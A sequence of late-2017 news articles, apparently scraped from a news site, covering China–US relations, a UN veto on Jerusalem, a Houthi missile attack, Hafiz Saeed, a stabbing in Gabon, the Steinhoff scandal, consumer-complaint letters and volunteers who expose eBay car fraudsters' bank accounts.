Cooperation between China and the United States will lead to a win-win outcome for both sides, but confrontation will bring mutual losses, China said on December 19, after the United States branded it a competitor seeking to challenge US power.



China hopes the United States can abandon its mentality of zero-sum games and seek common ground while respecting differences, China's US embassy said on its website. "On the basis of mutual respect, China is willing to exist peacefully with other countries including the United States," it said. "But the US ought to adapt to, and accept, China's development."China has always been a contributor to global development and a protector of the international order, Foreign Ministry Spokeswoman Hua Chunying said later in Beijing.



"Cooperation is the only correct choice for China and the United States," she said, adding that it was not surprising for the two to have disagreements but that they should find constructive ways to handle them. China's economic and diplomatic activities around the world are broadly welcomed and no country or report will succeed in distorting the facts or deploying malicious slander, she told a daily news briefing.



As the world's two largest economies, China and the United States have a responsibility to protect global peace and stability and promote global prosperity, Hua added."We urge the US side to stop intentionally distorting China's strategic intentions."In a new national security strategy based on US President Donald Trump's "America First" vision on December 18, the United States lumped China and Russia together as competitors seeking to erode US security and prosperity.



The singling out of China and Russia as "revisionist powers" comes despite Trump's own attempts to build strong relations with Chinese President Xi Jinping as the two sides seek to rein in North Korea's nuclear and missile programmes. The new US strategy reflects an unwillingness to accept the reality of China's rise, the state-run Global Times said in an editorial.

"But because of the enormous size and strength China has already achieved, they won't be able to suppress China," the widely-read newspaper said. However, Trump was basically reiterating his standard line on China rather than threatening any specific action, said Shi Yinhong, head of the Centre for American Studies at Beijing's Renmin University. "Since he took office the Chinese government's line on Trump has always been: Don't really look at what he says, but look at what he does," said Shi, who has advised the government on diplomacy.



"So the strong words against China in the report the Chinese government won't really care about. "A senior US administration official said China was attempting to revise the global status quo through its aggression in the South China Sea. China says its expansion of islets in the South China Sea is for peaceful purposes only and it can, in any case, do what it wants, as it has irrefutable sovereignty there. The US administration also warned that intellectual property theft by China was a national security problem.
The US on December 18 vetoed a Security Council draft resolution on the status of Jerusalem.



All other 14 members of the Security Council voted in favour of the Egyptian-drafted text. But as the US, which is a permanent member of the Security Council, has veto power, the draft resolution failed to be adopted.

Read more: UN Security Council mulls call for US Jerusalem decision to be withdrawn



Before the vote, Egyptian ambassador to the United Nations Amr Abdellatif Aboulatta explained that the draft resolution seeks to ensure that any attempts to alter the characteristics or demographic composition of the Old City of Jerusalem have no effect and are null and void, and must be rescinded.



The draft resolution also calls on all parties not to establish diplomatic missions in Jerusalem, he said.



Read more: Trump's Jerusalem decision deepens rift in Muslim world



In explaining the veto, US ambassador to the United Nations Nikki Haley said it was the first US veto in the Security Council in more than six years.



"We do it with no joy, but we do it with no reluctance," she told the council. She argued that her country has a sovereign right to determine where or whether to establish its embassy in a country.



Representatives of other countries in the council hold that Israel has no sovereignty over the whole of Jerusalem and that Jerusalem is a final-status issue that should be solved by the Israelis and Palestinians through negotiations.
Yemens Houthi movement fired a ballistic missile towards the Saudi capital Riyadh on Tuesday, its spokesman said. Mohammed Abdussalam said on Twitter that a Volcano 2-H ballistic missile was fired towards al-Yamama royal palace.



Saudi-owned channel al-Arabiya reported in a news flash, quoting Saudi-led military coalition, said that Saudi air defences intercepted the ballistic missile fired towards the Saudi capital Riyadh.

The Saudi-led coalition said, the latest attack by a Yemeni group that could escalate a proxy war between the kingdom and regional rival Tehran. There was no immediate report of casualties or damages. The Iran-aligned Houthi movement said the missile targeted the royal court at al-Yamama palace, where a meeting of Saudi leaders was under way, describing the attack as a new chapter in the conflict. The Saudi-led coalition said the missile was directed at residential areas and there were no damages, the Saudi state news agency SPA reported.

Quoting a statement from the coalition, SPA said Iranian-made missiles were a threat to regional and international security, and accused the Houthis of using humanitarian entry

points to import missiles from Saudi Arabia's arch-foe Iran."Coalition forces confirm intercepting an Iranian-Houthi missile targeting (the) south of Riyadh. There are no reported casualties at this time," the government-run Center for International Communication wrote on its Twitter account. Saudi palaces, military and oil facilities are within range of such missiles fired from Yemen, the Houthis said, according to a statement distributed via their television channel al-Masirah.

Thousands of air strikes

Saudi Arabia and Iran are locked in struggle for influence in the Middle East. Riyadh is especially sensitive to the civil war in its backyard Yemen, a conflict that has killed more than 10,000 people and displaced over two million. The United Arab Emirates, a close ally of Saudi Arabia and part of the coalition, said the latest Houthi attack underscored the need to keep the military campaign in Yemen going. "With every Iranian missile fired by the Houthi militia against civilian targets, the necessity of (Operation) Decisive Storm becomes clear," United Arab Emirates minister of state for foreign affairs, Anwar Gargash, wrote on his Twitter account.

A Saudi-backed coalition has launched thousands of air strikes against the Houthis and allied forces since intervening in the war on behalf of the government nominally based in Aden. The Houthis for their part have fired several missiles at the kingdom, mostly in the south since 2015, but have not caused any serious damage, in their bid to pressure Saudi Arabia, a strategic US ally and the world's biggest oil exporter. Tuesday's attack took place hours before Saudi Arabia was due to announce the country's annual budget in a news conference expected to be attended by senior ministers.

A blast, and the smoke



Houthi missiles are often modified by reducing payloads and rarely hit their targets. Reuters witnesses described hearing a blast and said they saw smoke in the north-east of Riyadh. Saudi Arabia's Crown Prince, Mohammed bin Salman, has described what Riyadh says is Iran's supply of rockets to the Houthis as "direct military aggression" that could be an act of war. Iran, Saudi Arabia's regional foe, has denied supplying such weaponry to the Houthis who have taken over the Yemeni capital Sanaa and other parts of the country during its civil war.

Saudi Arabia said on November 4, that it had intercepted a ballistic missile over Riyadh's King Khaled Airport, an attack that stirred regional tensions and led the coalition to close Yemeni ports. On Nov 30 ,Saudi Arabia shot down another missile near the south-western city of Khamis Mushait. Last week the United States presented for the first time pieces of what it said were Iranian weapons supplied to the Houthis, describing it as conclusive evidence that Tehran was violating UN resolutions. The arms included charred remnants of what the Pentagon said was an Iranian-made short-range ballistic missile fired from Yemen in the on Nov 4 attack, as well as a drone and an anti-tank weapon recovered in Yemen by the Saudis. In Geneva, a UN human rights spokesman said air strikes by the Saudi-led coalition had killed at least 136 civilians and non-combatants in Yemen since December 6.
The burly, bearded mans biggest weapon is his tongue. Every Friday, he spits venom against India, exhorting fellow Muslims to liberate the land from Hindus. He hates the country, where his forefathers once lived, so much that he wanted his mujahideen to break it and create three Pakistans.

Sitting in Lahore, Hafiz Muhammad Saeed has been bleeding India for two decades. Lashkar-e-Taiba, a terrorist organisation he founded, has carried out hundreds of terrorist attacks in India, including the 2008 attacks in Mumbai and the attack on Parliament in 2001. While Saeed, 69, says he no longer has any connection to LeT, Indian security forces have no doubt he is still its true leader.

Many people call Saeed the ideological hater, and without doubt his religious views are the main reason for his hatred of India. Another one could be an incident which happened a year before he was bornwhile migrating from Hisar in Haryana to Lahore during the partition, his family lost 36 members to rioting mobs.

Kashmir was Saeeds gateway to India. In 1996, when he was just getting a foothold in the valley, he said Kashmirs liberation would be followed by liberation of Muslims in north and south India. From the door of Kashmir we will launch Gazwah-e-Hind (battle for Hindustan), he said. Lashkars first major strike was in 1998 in Wandhama, in which terrorists killed 23 Kashmiri Pandits. The same year, it attacked a wedding party in Doda and killed 25 people.

Founded in 1987 with the aim of fighting the Soviet-backed Najibullah regime in Afghanistan, Lashkar turned its attention to Kashmir after the Taliban captured power in Kabul in 1996. In a few years, with the generous support of the Pakistani spy agency Inter-Services Intelligence, it eclipsed terror groups like Hizb-ul-Mujahideen and Jaish-e-Muhammad that had been active in the valley. Hafiz Saeed is the baby of the ISI, said Arun Choudhary, former special director in the Intelligence Bureau. From 1997 onwards, when the LeT came to Kashmir, they recruited the youth from rural Pakistan, which includes Punjab and the villages on our international borders. They were fed the hate ideology by Saeed in madrassas and rallies. At every platform of the so-called charity organisation Jammat-ud-Dawah (JuD) and the LeT, the anti-India propaganda is being carried out.

Proxy war: Saeed is protected not just by his own men but also by the Pakistani state | AFP

Saeed formed the JuD in 2002 as a front for the LeT after it was designated as a terrorist organisation by the US a year earlier. India had run a campaign against the LeT after it launched an audacious attack on Parliament in December 13, 2001. But what propelled the outfit to notoriety was the assault on Mumbai in 2008, when ten of its terrorists, all Pakistanis, carried out 12 shooting and bombing attacks across the city, killing 166 people. India put in a formal request to the UN Security Council to put the JuD and Saeed on the list of individuals and organisations sanctioned by the UN.

Despite a US bounty of $10 million on his head and being wanted in India in many cases, Saeed has mostly been a free man in Pakistan. In fact, his public life has been an act of mocking defiance against those who wanted him. It was in 2001 that Pakistan detained Saeed for the first time, after Indias accusations of his involvement in the attack on Parliament. In a few months, however, the police let him go. He was arrested again after the 2006 Mumbai train bombings, but was released soon. Then in 2008, he was held in house arrest, but was released within a year. He was put under house arrest in January this year, and released on November 24. We swear to continue our jihad, he said, addressing his supporters who gathered in Lahore to greet him after his release. We dont care what the world is saying. Let the US say whatever it wants. Let India keep shouting. We dont care, we will continue our jihad till the end.

India has been trying to extradite Saeed for a decade. In 2011, it publicised a list of its 50 most wanted fugitives hiding in Pakistan, which included Saeed. But these efforts always hit a wall in Pakistan. After releasing Saeed on November 24, Pakistan Prime Minister Shahid Khaqan Abbasi said if India had evidence against him, it should pursue the charges on an international forum.

Ramesh Mahale, chief investigating officer of the 26/11 terror attacks, said there were three pieces of evidence that established Saeeds role in the crime. The first one is 26/11 terrorist Ajmal Kasabs confessional statement where he disclosed how Saeed visited the Lashkar training centres and motivated the ten terrorists to execute the Mumbai attacks, he said. The second is American David Coleman Headleys statements to the National Investigation Agency. Headley, who was sentenced to prison by a US court for his involvement in the Mumbai terror attacks, deposed before a Mumbai court via video link from the US earlier this year and identified Saeed. The third piece of evidence came from terrorist Abu Jundal, who was in the control room in Karachi when the terror strikes happened. Jundal told the interrogators that Saeed was present in the control room.

The evidence we gathered pointed towards the well-orchestrated plot hatched by Pakistan with the help of Hafiz Saeed, said M.L. Kumawat, who was a special secretary (internal security) in the home ministry when the Mumbai terror attacks happened. This is the primary reason he is still roaming around freely in that country. He should be handed over to India or killed in a drone strike or like Osama bin Laden was eliminated by the US. Why should we apply different yardsticks in the two cases. Saeed was the commander of the 26/11 strikes.

Saeed and Laden (who waged a war against the US and was killed by an American special operations unit in Pakistan in 2011) have a lot in common. Both these ardent soldiers of militant Islam have been driven by hateLaden his hatred of the US, and Saeed his hatred of India. Like Laden did, Saeed uses his venomous tongue to run a machinery that churns out terrorists.

Saeed finds his men from the vast talent pool in Punjab and the villages that border India. Intelligence officials say whenever he visits Muzaffarabad in Pakistan-occupied-Kashmir, he scans for fresh recruits. Freedom of Kashmir from the Hindu India is his main vehicle for indoctrinating them. He demonises India in every possible way. He tells them India tries to cut water flowing into their country, said Choudhary.

Bloody battle: The 2008 terror attacks in Mumbai by Lashkar-e-Taiba killed 166 people | Reuters

In 2014, Saeed blamed India for the floods in Jammu and Kashmir, saying New Delhi had launched a water war on Pakistan. Occupied Kashmir cannot be looked after by the Modi government; what can it do for those in Azad Kashmir? Give them freedom if you may, he ranted. Then he tweeted: India has used water to attack Pakistan. We are in a state of war. Indias water aggression must be taken to the UN Security Council.

Saeed runs some 260 schools in Pakistan, and numerous training camps for terrorists. These camps supply footsoldiers for the ISIs shadow war against India. According to American academic Stephen Tankel, who has written a book on the LeT, there is a strategic culture in Pakistan of using proxies. The country is so used to using proxies that it is finding it difficult to let it go.

That is why Saeed is protected not just by his own men but also by the Pakistani state. Even when he is not under house arrest, his Lahore housea fortified structure with a mosque, an office and an army of men wielding Kalashnikovshas round-the-clock police protection. There is usually a police picket near his house and regular patrolling around the area.

After the international backlash following the 2008 Mumbai terror strikes, Saeeds attacks against India have mostly been verbal. Many analysts say it was a calculated move as he harbours political ambitions. Saeed himself had admitted that the political movement would be at the forefront of his mission. His intentions became clear when he recently announced that the Milli Muslim League, a political party he launched a while ago, would contest the next years general elections.

While some analysts see it as a positive move, some say it would not change anything or might be more dangerous, as Saeed would remain a proxy of the Pakistan Army and the ISI. The army had proposed a plan to bring Saeed to the mainstream when Nawaz Sharif was the prime minister, but he rejected it. Though, historically, religious parties have never won more than a few seats in Pakistan parliament, none of them had leaders as charismatic and influential as Saeed.

His foray into politics is unlikely to take Saeeds focus away from India. In fact, in the same speech he announced the decision to contest the elections next year, he dedicated 2018 to Kashmiris and their freedom. I want to tell India that I will continue to support Kashmiris no matter what kind of difficulties are there, he said. Indian intelligence agencies say some 600 terrorists are waiting at his terror camps to infiltrate into Indian territory this winter. It seems Indias No 1 enemy is just getting ready for another battle.

WITH TARIQ BHAT
A man stabbed two Danish journalists in Gabons capital, declaring it was in retaliation for U.S. attacks against Muslims and leaving one reporter in serious condition, Gabons defense minister said.

The attack Saturday occurred while the journalists were shopping at an artisanal market, a site popular with tourists. It is the first of its kind in this West African country where Muslims and Christians coexist peacefully.

The stabbing was carried out in Libreville by a 53-year-old Niger national who screamed Allah Akbar, said Gabonese Minister of Defense Etienne Massard Makaga. The attacker, who has lived in Gabon for 19 years, was immediately arrested.

When questioned by the police, he said he acted in retaliation for the attacks of the United States against the Muslims and the American recognition of Jerusalem as the capital of Israel, said Makaga.

Everything will be done to ensure that the author and his possible accomplices are punished with the utmost rigor that the law allows, said the minister who denounced an act abominable, cowardly and ignoble. Makaga said such acts are contrary to the Gabonese way of living together and detrimental to social peace.

The journalists, one male and one female reportedly working for National Geographic, were rushed to a hospital.

The man was operated on and is currently in intensive care, said government spokesman Alain Claude Bilie By Nze.

Oil-rich Gabon is known for its wildlife, including most of Africas remaining forest elephants, which are being heavily targeted by traffickers.

Gabon is ruled by President Ali Bongo Ondimba, whose family has been in power for nearly half a century.

(AP)
Poundland has distanced itself from owner Steinhoff as an accounting scandal threatens to derail the South African investment firm.

Steinhoff has lost two chief executives this month amid a fraud scandal which has seen shares crash more than 87 per cent, wiping 7.5billion off its value.

Yesterday, the Stellenbosch-headquartered company warned investors it is losing support from its banks because of the crisis.

Poundland owner Steinhoff has lost two chief executives this month amid a fraud scandal which has seen shares crash more than 87%, wiping 7.5bn off its value.

Steinhoff bought the High Street budget retailer for 597million in 2016, and the crisis engulfing it has led to questions about the bargain chains 802 UK stores and 18,000 staff.

But in a letter to workers, bosses Sean Cardinaal and Barry Williams insisted Poundland remains a successful business  regardless of problems with its parent firm.

SWEDISH RESCUE FOR FEATHER & BLACK Struggling British bedroom furniture chain Feather & Black has been rescued by a Swedish multinational. Hilding Anders, a manufacturer of beds, yesterday bought the business  saving 104 of 123 jobs and 17 of its 20 stores. It collapsed last month, with Duff & Phelps appointed administrators but the firm continuing to trade. Its demise was blamed partly on the squeeze on spending with shoppers not buying more expensive items such as furniture. Pepyn Dinandt, chairman and chief executive of Hilding Anders, said the firm would still trade under the name Feather & Black.

They said: Were confident once insurers fully understand our position  trading strongly and independent of Steinhoff  they will be able to offer additional reassurance to our suppliers.

They added they are still excited about Poundlands future. Nothing thats happening thousands of miles away in South Africa will change that, they said.

Steinhoff has 15billion of debt, with private investors and a string of global banks including Goldman Sachs and HSBC braced for heavy losses.

It has promoted chief operating officer Danie van der Merwe to chief executive.

He replaces Christo Wiese, the largest shareholder, who has quit as the scandal grew.

Wiese replaced Markus Jooste who stood down when news of the accounting irregularities first surfaced.

German prosecutors launched a fraud investigation into the business at the start of the month.
I have written twice to Yorkshire-General Life Assurance about an old pension, but both times, the letter has been returned with a note saying: 'Not known at this address'.

The sum is hardly a fortune  but the firm appears determined not to pay out.

E. W., Dorset.

Lost: Yorkshire Building society appears unwilling to help one reader track down an old pension from the 1980s

Your pension with a former employer dates back to 1983 and was run by Yorkshire General.

Since then, the insurance industry has gone through many mergers and much consolidation. So now, it's a question of working out who currently owns it.

In fact, Yorkshire-General Life Assurance is now under the Aviva umbrella, along with General Accident, Norwich Union, Provident Mutual, Friends Life, Hibernian, London & Edinburgh and Commercial Union.

Once we knew where the pension was, it was fairly simple to track it down. And the news is good. While not massive in pension terms, you could walk away with a lump sum of just over 2,000 after tax.

Aviva has made several attempts to contact you by phone. Around June 2012, when the pension should have started, a retirement pack was sent to your former employer. It, too, has been trying to contact you.

Aviva apologises for the problems you have had and adds: 'We are sorry we didn't reply to the letter we received in October; on this occasion, we have fallen short of the high standards we set for ourselves.'

Aviva has now arranged for the appropriate documents to be sent to you. Your pension will be paid once you have completed and returned these.

Your letter highlights the importance of keeping in touch with former pension schemes to notify them if you move home or change your phone number.

Go to policydetective.co.uk to find out who now owns your insurance company.

YOU HAVE YOUR SAY Every week, Money Mail receives hundreds of your letters and emails about our stories. Here are some from our report about how a 78-year-old man was told to pay 1,145 for car cover after his vehicle was written off... What a rip-off. The law needs to be changed to stop this from happening. Insurers have drivers over a barrel and it seems no one is there to protect us. L. W., Bournemouth. Having worked in insurance for 32 years, I can tell you there is an easy solution to this man's case: he could have withdrawn his claim and cancelled the policy mid-term. Claiming on a car worth so little is a waste. The insurer should have made him aware of this. SEARCH FOR CHEAPER CAR INSURANCE IN MINUTES D. D., Leicester. The insurer should have been up-front and told him claiming wouldn't be worth it. That way, he could have probably cancelled the policy and wouldn't have had to pay out 1,145 for the rest of the year. T. N., Preston, Lancs. Car insurance is the biggest rip-off of them all. Even if you're in an accident and it isn't your fault, your premiums go up. It's about time the Government did something about this. A. D., Somerset. The real scandal here is the ludicrously low payouts you are offered when your car is written off. Insurers never seem to give you a fair price. O. R., Newport, Wales. I can't believe he was paying 109 a month for a 20-year-old car. How on earth do insurance firms arrive at these figures? One month's premium is probably worth more than the car itself. F. A., Godalming, Surrey. I don't see what the insurer has done wrong. This man paid in monthly instalments  how can he expect a payout if he hasn't paid his annual premium in full? D. T., Exeter.

I have been a British Gas customer for 48 years and, for the past 30, I have paid in the first week of every month using a swipe card.

Since I had started to build up a credit, I was told my payments would decrease from 100 to 54.78 from September 5.

I paid 100 on September 4 and another 100 on October 2, thinking that this would start to build up credit again.

But then I got a letter saying my September payment hadn't been received.

Then another letter said my payments must be made on the fifth of every month, or my plan would be cancelled. This has never been a problem before.

W. M., Uxbridge.

There has been some misunderstanding here, but the good news is that your card payment has been reinstated.

British Gas says payments can be made a few days before or after the fifth of each month, so you can continue to make payments on varying dates, as you have been doing.

The firm believes that the confusion arose when it wrote to you in July, explaining your payments needed to decrease from September. You appear to have mistaken this for not having to make any payment in August.

A reminder was sent, but as no payment was received, your plan was cancelled and British Gas refunded any credit you had built up.

British Gas has now explained what happened and reset the payment plan for 100 a month.

The complaints team has been in touch with you and, in recognition of the confusion, has offered a goodwill gesture of 30.

STRAIGHT TO THE POINT I read that there is a compensation fund for people who were tricked into transferring money to fraudsters via Western Union. I lost money in a scam five years ago. Can you tell me how to apply? M. P., Spilsby, Lincs. I've put a form in the post for you. You can print a form here or call a U.S. number (001 844 319 2124, international charges apply) and ask for one to be posted. To be eligible, you must have lost money between January 1, 2004, and January 19, 2017. The deadline is February 12, 2018. *** NatWest is closing 197 branches next year and RBS a further 62. Where can I find a full list of the closures? J. T., Appledore, North Devon. There's a list of closures, as well as where to find your next nearest branches and cash machines, online. For NatWest, click here. And for RBS,click here. *** The seat cushion on the sofa I bought 13 months ago has already gone flat. I complained to the shop and the Furniture Ombudsman, but both say this is the result of wear and tear. I paid 1,500 for it. R. S., Ipswich. The shop's managing director confirmed the firm's position that there is no manufacturing fault with the sofa. The only solution is to pay 45 to have a new cushion fitted. *** Last year, fraudsters took 16,860 from me and 1,950 from my wife's Yorkshire BS account. My bank refunded the money  but Yorkshire BS refused. It said I shouldn't have had access to my wife's account, as it is against its terms. G. B., Essex. Yorkshire BS says it is vital for security reasons that only the person named on the account manages their money, even following a criminal attack. However, it has now agreed to refund the cash. A spokeswoman says: 'We appreciate it has been a difficult time for Mr and Mrs B. We have reviewed our initial investigation and are refunding the full amount.'

My 81-year-old husband received a call from Vodafone in early July, offering a contract at 18 per month. He was told he was currently paying 24 per month for pay-as-you-go.

But after the swap, he had problems with his phone.

On August 4, he took it to a Vodafone shop and was told it would be working by August 7.

However, it still did not work and, on September 1, he went back to the shop.

It was established that somewhere along the line, he had got caught up in a scam involving a weekly charge of 4.50.

His niece contacted Vodafone and asked it to terminate the contract, so he could return to pay-as-you-go. She was assured this had happened.

But on October 5, he got an email to say his account had been suspended because he had an overdue balance of 36.

On October 30, he received a letter from a debt collector, asking for 59.

E. W., by email.

Vodafone has been trying to get in touch with you to apologise and offer a solution, but so far, it has not found you at home.

It has, however, left a number for you to call back.

I have also tried to make contact without success.

Vodafone wants to credit your husband's account with the outstanding balance, to wipe out the supposed debt.

It is also offering to waive any fees for terminating the contract, which runs until the end of July.

This will allow your husband to return to pay-as-you-go if he feels that is the best option.
From a faded red armchair at a secret address with a sea view, 60-year-old Jack Buster impatiently refreshes the emails on his laptop, hoping the next click will bring the news he's waiting for.

Jack flits back and forth between car listings on eBay and his inbox, his eyes darting across the screen and his brow so furrowed in concentration that even the tabby cat clawing the carpet cannot divert his gaze.

Beside him is a whiteboard with a long list of names scrawled in green pen, each with a sum of money next to it  Lisa 4,500, Phil 5,000, Mike 6,000 . . .

Finally, a message pops up on his screen and Jack leans forward, tightening his grip on the mouse.

'I've got another one for you,' writes Steve, who is one of Jack's newest recruits.

The chase is on.

To the rescue: A team of vigilantes is fighting a war against online fraudster, by posing as potential buyers before reporting their bank details to the police

The 'another one' that Steve's found is a suspected fraudster trying to entrap victims on the eBay shopping website.

Jack, a former financial adviser, runs a 40-strong network of fraud-fighting vigilantes  and Steve has found a hot lead on a fake listing.

Jack Buster, as he's known to his crew, has agreed to let Money Mail behind the scenes to see how he and his part-time volunteers catch the crooks.

Money Mail has previously exposed how people who have lost their savings in this type of scam often find that the banks refuse to compensate them.

Then, when victims turn to the police, they are told officers don't have time to investigate. More than 100 people a day are being duped out of their life savings, and the authorities cannot keep up.

Jack, who is married, with two teenage daughters and a son in his 20s, began tracking down fraudsters four years ago while he was trying to buy a second-hand Volvo online.

He found a car from a reputable dealer on eBay with a price-tag of 2,750, which looked too good to be true. Jack later discovered that the firm's eBay account had been hacked by crooks who were posting fake listings in its name.

Fortunately, Jack wasn't out of pocket, but others have lost thousands on such types of scam.

Jack started scouring vehicle sales websites for fake listings of cars, caravans, tractors and boats and reporting them to the site's investigation teams.

As he amassed a following on social media, other volunteers signed up to help.

Last year, they took their work a step further: now Jack and his volunteers feign an interest in fake vehicles for sale to get the crooks to hand over their bank details.

Jack then contacts the bank in question to get the account frozen. He logs the time and date of the report. If the bank fails to act on his request, this information can be used to force it to compensate any future victims of the fraudster.

The names on Jack's whiteboard are just a few of the victims who have turned to him for help.

Some of them may eventually join his network  it's how most of his 40 volunteers got involved.

'A lot of victims find it therapeutic to get their own back and also to help others,' says Jack.

Devoted: Jack Buster, 60, began hunting fraudsters four years ago while he was trying to buy a second-hand Volvo online

Steve, 49, is a plumber and has just joined the group, but Jack says he's on track to win 'bank buster of the month'  an accolade he gives out for successfully baiting the most scammers. Steve fits in fraud-busting between fixing leaky pipes and boilers.

Other volunteers include a nurse, a mechanic, a bouncer and the son of one of the Dam Busters from World War II. Some are in their 20s; others are retired.

When Jack helps victims get their money back, he asks for 10 per cent of this as payment and gives a cut to the volunteers who help.

Another message pings in to Jack's inbox. Steve has sent an image of the suspicious eBay advert he's spotted. It's a 2009 Audi Q5, on sale for 5,250.

Unlike eBay's U.S. website, where there is a specific protection scheme for vehicle purchases, UK customers who fall victim to car listing scams are not covered.

CROOKS WHO'LL SABOTAGE YOUR CHRISTMAS Christmas shoppers are being targeted by devious email scams, banks warn. Bank trade body UK Finance says that criminals are sending online shoppers fake emails that appear to come from legitimate delivery companies to trick them into handing over personal details. It reveals that fraudsters are scouring shopping websites and social media to find out what presents people plan to buy. The crooks then send carefully targeted scam emails. These appear to come from popular retailers and ask you to click on a bogus website link to claim a voucher  possibly for something you'd been eying up. Crooks are also sending emails that direct people to fraudulent charity websites to make Christmas donations. Under banking rules, people who unwittingly hand over their details to crooks rarely get get their money back. Dave Clark, City of London Police Commander and national co-ordinator for economic crime, said that fraudsters are preying on people's generosity at this time of year. 'It is more important than ever that people do everything they can to protect themselves from fraudsters,' he adds. v.bischoff@dailymail.co.uk

'The price is the first big giveaway that it's a scam,' explains Jack. 'It's far too cheap  about half what you'd expect to pay for a car like that. But people just think they've got lucky and found a bargain.'

He searches for Audis from that year on second-hand car websites  and other sellers are asking for up to 13,000.

Next, Jack types the registration number from the suspicious advert into a website called Carnapper. For a 9.99 fee, it shows the car's MoT history and the previous occasions it's been listed for sale.

It shows that the same car was advertised on eBay just six months ago, for 7,150.

'That's another red flag,' says Jack. 'Why would a genuine owner be selling their car so soon after buying it?' He then copies some of the text from the advert into the Google search page.

'Often, the scammers just copy and paste the same wording every time they post fake listings,' explains Jack. The suspect eBay advert says: 'Never been involved on [sic] any accidents. Pure genuine car. Drives really well and smooth with no faults at all.'

Mistakes and grammatical errors make it more likely to show matches with other fake listings, he adds. Up pops a listing for the same car on Gumtree, the classified ads site. It was posted eight months ago, using exactly the same photo and description  but for 13,500, which is more than double the new price on eBay.

Jack believes this Gumtree advert at 13,500 was a genuine original listing and the crooks copied the details and images for the two subsequent listings, which are fakes.

He types the number plate into another website called Cazana, which shows the car's registered owner last changed seven months ago, adding weight to his theory.

Meanwhile, Steve has had more news from the Audi seller, Amanda, as she calls herself.

She has been an eBay member for only a month and her account has no feedback from previous buyers.

This rings alarm bells, but Jack explains that even sellers with great ratings can be scammers in disguise. He says some fraudsters buy access to existing eBay users' accounts to give their listings a stamp of credibility.

'They pay someone with positive ratings to post lots of car listings in their name,' he explains.

'One guy told me he was being paid 300 a week to do this and didn't even realise it was a sham.'

Amanda has told Steve she's moved to Sweden for work and the car is being held by a shipping company called Auto Express in Cowes, on the Isle of Wight.

'The scammers will always come up with a reason why they need to use a third party, or concoct an elaborate story to explain why they are not around to show you the car themselves,' says Jack.

Amanda says Auto Express is an 'objective third party' and that if Steve pays the money, it will keep the cash in an 'escrow' holding account until the transaction goes through.

Once the car is delivered, Steve will have five days to inspect the vehicle and decide if he wants to keep it.

'If you will find the smallest problem with the car, you will ship it back on my expense and Auto Express will send you your full amount back,' says Amanda.

That's if Auto Express actually exists. The link Amanda has sent for the company website says Auto Express has been going since 1995 and is governed by various industry codes and regulations, such as the 'London Financial and Business Code' and 'Uniform Electronic Transactions' Act.

Jack says the first one doesn't exist, and the second applies only in the U.S.

The area code for the company phone number is 0151 for Liverpool. Yet the Cowes code is 01983. Another bad sign. On Companies House, the Government website with details of all UK firms, there's no business by that name at the Cowes address supplied.

There are a number of other companies called Auto Express elsewhere, but none is connected in any way to the firm that Amanda has recommended.

According to Google search, a storage company is based at the Isle of Wight address for Auto Express. Jack calls the storage firm and a woman who answers says she's heard from a number of other car buyers.

'It's nothing to do with us,' she says. 'Fortunately, none of the people we've spoken to have handed over money. One guy even showed up at the site. We've reported the website to Action Fraud [the official fraud body], but it's still up and running.'

Contributions: When Jack helps victims get their money back, he asks for 10 per cent of this as payment and gives a cut to the volunteers who help

Meanwhile, Amanda has sent Steve another email, saying she has other interested buyers. She clearly wants to close the deal.

Steve replies, saying he's keen to take the car. Amanda tells him he'll receive an invoice from Auto Express with details of how to pay. Jack says that the scammers have started getting wise to his bank busters and ask for proof of identity.

There's a tense wait while we see whether Amanda will demand a passport or driving licence. But she doesn't  and finally, Steve's hard work yields the result Jack wants: a sort code and account number are on the invoice.

Typically, Jack will take these details and email a contact at the banks in question, asking for the account to be frozen over suspected fraud. The sooner he acts, the more chance he will have to prevent people falling victim.

But when Jack puts the bank details into a website called Sortcodes.co.uk, it says the account is with Permanent TSB, an Irish bank, and the branch is in Killarney, Co. Kerry.

'I don't have the contacts there,' admits Jack. 'Without internal contacts, it's hard to make sure that an email gets through to the right person.'

Hoping to obtain more details, Steve writes back to Amanda and says his bank won't process the transfer because there's something wrong with the account information she's given.

Jack says: 'We often find that by telling them the payment's failed, they keep sending us new details  and we can bust several different accounts.'

Amanda says she'll contact the shipping company to find out what's going on. Soon, Steve gets another email from Auto Express 'customer support'.

It says: 'Our Financial Department made a little mistake and gave you our international bank account for Euro and USD. We will send you another invoice with the correct information.'

Reward: A thank you card from one of the fraud victims Jack was able to help

The details on the new invoice are for a NatWest account in Chatham. Within minutes, Jack has sent a report of the scam to his contact at NatWest. He has contacts in the financial crime intelligence units of most of the major banks.

'Some act faster than others,' he says. 'With Barclays, they will often block an account within about 15 minutes, but others don't even acknowledge the information I send.' He says NatWest is reasonably quick to take action.

Jack's report is headed: 'VERY URGENT. IMMEDIATE ACTION NEEDED. IMMINENT BANK TRANSFER FRAUD.'

It explains that the account in question is being used for an eBay vehicle fraud and includes a copy of the invoice from Auto Express, as well as screenshots of the advert to show that it's a scam.

It goes on to say that if Jack hears of any financial losses relating to this account after today's date, he will issue proceedings against the bank on behalf of the victims.

He logs the account details along with the date and time of the report in his database.

'I've got nearly 1,200 accounts logged,' he says. 'If any fraud victim comes to me after paying money into an account that I've already reported to the bank, there's a good chance I'll be able to help them get a refund.

'We used to win nearly every case, but it is getting harder, as the banks are fighting tooth and nail to avoid paying victims back.'

Meanwhile, Steve tries to squeeze more details out of Amanda.

He writes that the second set of account details isn't working, either. Amanda says the shipping company will send a new invoice.

This time, it's an HSBC account. Once again, Jack files a report.

Steve gets details of one more account before Amanda goes quiet. It's another Irish bank.

'We are seeing the fraudsters starting to use more overseas accounts  we've had quite a few from Italy and Greece,' says Jack. 'It's frustrating because there's not much we can do without international contacts, which I don't have.'

Since Jack started his bank- busting operation in 2016, he says that the team has had nearly 1,200 accounts blocked, with around 5,000 frozen each time on average. That means he may have helped victims get back up to 5 million.

Jack adds that the police have confirmed a number of arrests following intelligence he's passed on.

A spokesman for eBay says: 'As with all online marketplaces selling vehicles, we are working to stamp down on people who attempt to defraud customers.'

It says customers should ignore offers that seem too good to be true, be cautious about emails requesting your details and always complete purchases on the eBay website.

Katy Worobec, of banking trade body UK Finance, says: 'Banks work extremely hard to protect their customers and will always make every effort to help a customer recover any stolen funds. Investment in new detection tools stopped more than 750 million worth of fraud in the first half of this year.'

l.milner@dailymail.co.uk
Bitcoin, ethereum and litecoin have seen an explosion of interest this year as their prices have soared, according to internet search engine data provided exclusively for This is Money.

